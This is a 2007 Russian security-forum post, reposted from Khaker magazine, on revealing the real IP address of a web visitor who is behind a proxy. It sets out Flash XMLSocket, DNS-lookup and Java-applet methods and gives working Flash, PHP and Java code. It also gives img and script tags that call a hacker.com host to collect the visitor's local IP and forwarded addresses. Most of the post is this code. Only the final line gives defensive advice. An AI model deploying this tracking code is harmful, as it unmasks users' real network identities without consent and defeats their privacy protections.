ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

07.09.2007, 06:08
|
|
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме: 9089375
Репутация:
4268
|
|
Flash XMLSocket
Практически все программные средства, доступные из браузера, используют его настройки при сетевом обмене данными. Поскольку прокси-сервер настраивается в нем же, то все подключения должны делаться через него. Так оно и есть, за исключением некоторых объектов, которые игнорируют прокси сервер. Один из таких объектов - XMLSocket, реализованный во Flash.
Объект XMLSocket используется для обмена данными между Flash-приложением и сервером без использования прокси. Его реализация имеет ряд ограничений, самое существенное из которых - это требования к порту подключения. В целях безопасности номер порта должен быть больше 1024, поэтому у хакера должна быть возможность его прослушивать со стороны сервера. Также стоит заметить, что на сервере должен находиться файл policy.xml, позволяющий подключение по выбранному порту. В самом простом варианте он должен иметь следующее содержание:
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" />
</cross-domain-policy>
Такая конфигурация позволяет подключение с любого адреса по любому порту. Для примера будем считать, что хакер открыл порт 9000 (в Apache это делается добавлением LISTEN 9000) и настроил его так, что все полученные на него данные пересылаются на 80 порт (веб-сервер). В таком случае исходный код Flash будет иметь следующий вид:
s = new XMLSocket(); // создаем сокет
// настраиваем…
s.onConnect = handleConnect;
// подключаемся на порт 9000
s.connect(null, 9000);
// если подключились, имитируем GET-запрос к нашему скрипту
function handleConnect(success) {
if(success) {
s.send(“GET /go2intranet.php HTTP/1.1 \n”);
s.send(“Host: hacker.com\n”);
s.send(“\n\r”);
}
}
При успешном исполнении Flash инициирует подключение к серверу на 9000-й порт, минуя прокси-сервер, и тем самым раскроет реальный адрес клиента. Но не стоит забывать, что использование этого метода возможно только в тех случаях, когда хакер имеет права на редактирование конфигурации сервера. Если такой возможности у хакера нет, то у него еще остается шанс миновать прокси, используя java, которая позволяет посылать UDP-пакеты на сервер…
Metasploit Decloaking Engine
Очень хорошее решение нашей задачи предложил проект Metasploit. Демонстрация использует несколько вариантов тестирования, чтобы более точно определить сетевую конфигурацию клиента. Самое интересное в этом решении - это определение DNS-сервера провайдера, предоставляющего доступ в Интернет.
Идея достаточно проста и основана на специфике в реализации работы DNS. Когда клиент пытается подключиться к удаленному хосту xxx.hacker.com, ему необходимо определить IP-адрес для подключения. Для этого он посылает lookup-запрос к своему локальному DNS-серверу. Последний, в свою очередь, передает запрос на DNS-сервер хоста hacker.com, чтобы получить адрес для xxx.hacker.com. Но DNS-сервер хакера модифицирован, чтобы сохранять всю информацию о запросах: имя поддомена(xxx) и IP-адрес запросившего(DNS-сервер провайдера).
А теперь самое интересное. XXX – это идентификатор сессии клиента, например, 347205.hacker.com. Значит, если из адреса 50.50.50.50 поступил lookup запрос на 347205.hacker.com, то для пользователя, имеющего сессию 347205, DNS-сервер провайдера - это 50.50.50.50.
Инициировать такой запрос очень просто, достаточно сослаться на ресурс из домена, например, на изображение:
<img src=”http://347205.hacker.com/none.gif”>
В демонстрации от Metasploit так и делается. Но кроме этого, таким же образом создаются запросы из java. Политика безопасности в java блокирует создание подключения к другому хосту( hacker.com и 347205.hacker.com - это разные сайты), но DNS lookup все же происходит.
Комплексное решение
В зависимости от ситуации, хакер может применить те или иные методы. Каждый из способов специфичен, поэтому в некоторых случаях придется отказаться от некоторых из них. Например, вариант с использованием PHP будет работать даже через рисунок:
<img src=http://www.hacker.com/go2intranet.php>
Остальные проканают через подключение удаленного скрипта:
<script src=http://www.hacker.com/go2intranet.php></script>
Так может выглядеть PHP-код, объединяющий технику Ява-сканирования и получения информации из заголовков сервера:
PHP код:
<?PHP
session_start();
$url = 'http://0xfa60/go2intranet.php';
if( $_GET['method'] != '' )
{
// code here
if( $_GET['method'] == 'java' )
{
$_SESSION['java'] = $_GET['data'];
echo ( 'OK' );
}
else
{
echo( 'Java: ' . $_SESSION['java'] . '<br>' );
echo( 'X-Forwarded-For: ' . $_SESSION['forwarded'] . '<br>' );
echo( 'REMOTE_*: ' . $_SESSION['remote'] . '<br>' );
}
}
else
{
$url2save = $url . '?PHPSESSID=' . session_id();
echo('<applet code=javaSocket.class>');
echo('<param name="url2save" value="' . $url2save .'">');
echo('</applet>');
list($forwarded) = split(',', $_SERVER['HTTP_X_FORWARDED_FOR'], 2);
$_SESSION['forwarded'] = 'local,,' . $forwarded . ',';
$_SESSION['remote'] = 'local,' . $_SERVER['REMOTE_HOST']
. ',' . $_SERVER['REMOTE_ADDR']
. ',' . $_SERVER['REMOTE_PORT'];
};
?>
Таким будет код Java-апплета:
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.*;
public class javaSocket extends Applet {
public class Host{
public String name;
public String ip;
public int port;
};
public int ubyte( byte value){
return (int)value & 0xff;
}
public String getStringIP(byte[] ip){
return ( ubyte(ip[0]) + "."
+ ubyte(ip[1]) + "."
+ ubyte(ip[2]) + "."
+ ubyte(ip[3])
);
}
public void showHost(String name,Host host)
{
System.out.println( name + " name: " + host.name );
System.out.println( name + " port: " + host.port );
System.out.println( name + " ip: " + host.ip );
return;
}
public Host getHostBase(){
Host base = new Host();
base.name = getDocumentBase().getHost();
base.port = getDocumentBase().getPort();
if( base.port == -1 )
base.port = 80;
base.ip = "unknown";
try
{
Socket connection = new Socket(base.name, base.port);
byte[] ip = connection.getInetAddress().getAddress();
base.ip = getStringIP(ip);
}catch(Exception e){ base.ip = "error"; };
return base;
}
public Host getHostLocal()
{
Host base = getHostBase();
Host local = new Host();
try {
Socket connection = new Socket(base.name, base.port);
local.name = connection.getLocalAddress().getHostName();
local.ip = connection.getInetAddress().getHostAddress();
local.port = connection.getLocalPort();
if( local.port == -1 )
local.port = 80;
} catch(Exception e)
{
local.name = "localhost";
local.port = '0';
local.ip = "127.0.0.1";
}
return local;
}
public void saveHost(String local,Host host)
{
String url = getParameter("url2save");
String data= local
+"," + host.name
+"," + host.ip
+"," + host.port;
try
{
URLConnection connection =
new URL(url + "&method=java&data=" + data ).openConnection();
BufferedReader in = new BufferedReader(
new InputStreamReader(connection.getInputStream( ) ) );
char[] buffer = new char[1024];
int charsRead;
while((charsRead = in.read(buffer, 0, 1024)) != -1)
{
String contents = new String(buffer, 0, charsRead);
System.out.println( contents );
}
} catch (Exception e) { }
return;
}
public void init()
{
showHost("local", getHostLocal() );
saveHost("local", getHostLocal() );
}
}
Стоит также добавить, что выбор техники может определяться динамически. Определить поддержку Java можно из JavaScript-а:
alert( navigator.javaEnabled() );
Для примеров под FireFox необходимо определять имя браузера:
alert( navigator.appName );
И в таком духе реализовать комплексную проверку.
Для конечных пользователей можно лишь посоветовать использовать анонимные прокси, отключить поддержку Java и Flash. Не самая радужная перспектива, зато полезная штука для соблюдения корпоративной безопасности.
Взято с сайта журнала "Хакер" тут
__________________
...
Последний раз редактировалось Alexsize; 07.09.2007 в 06:19..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|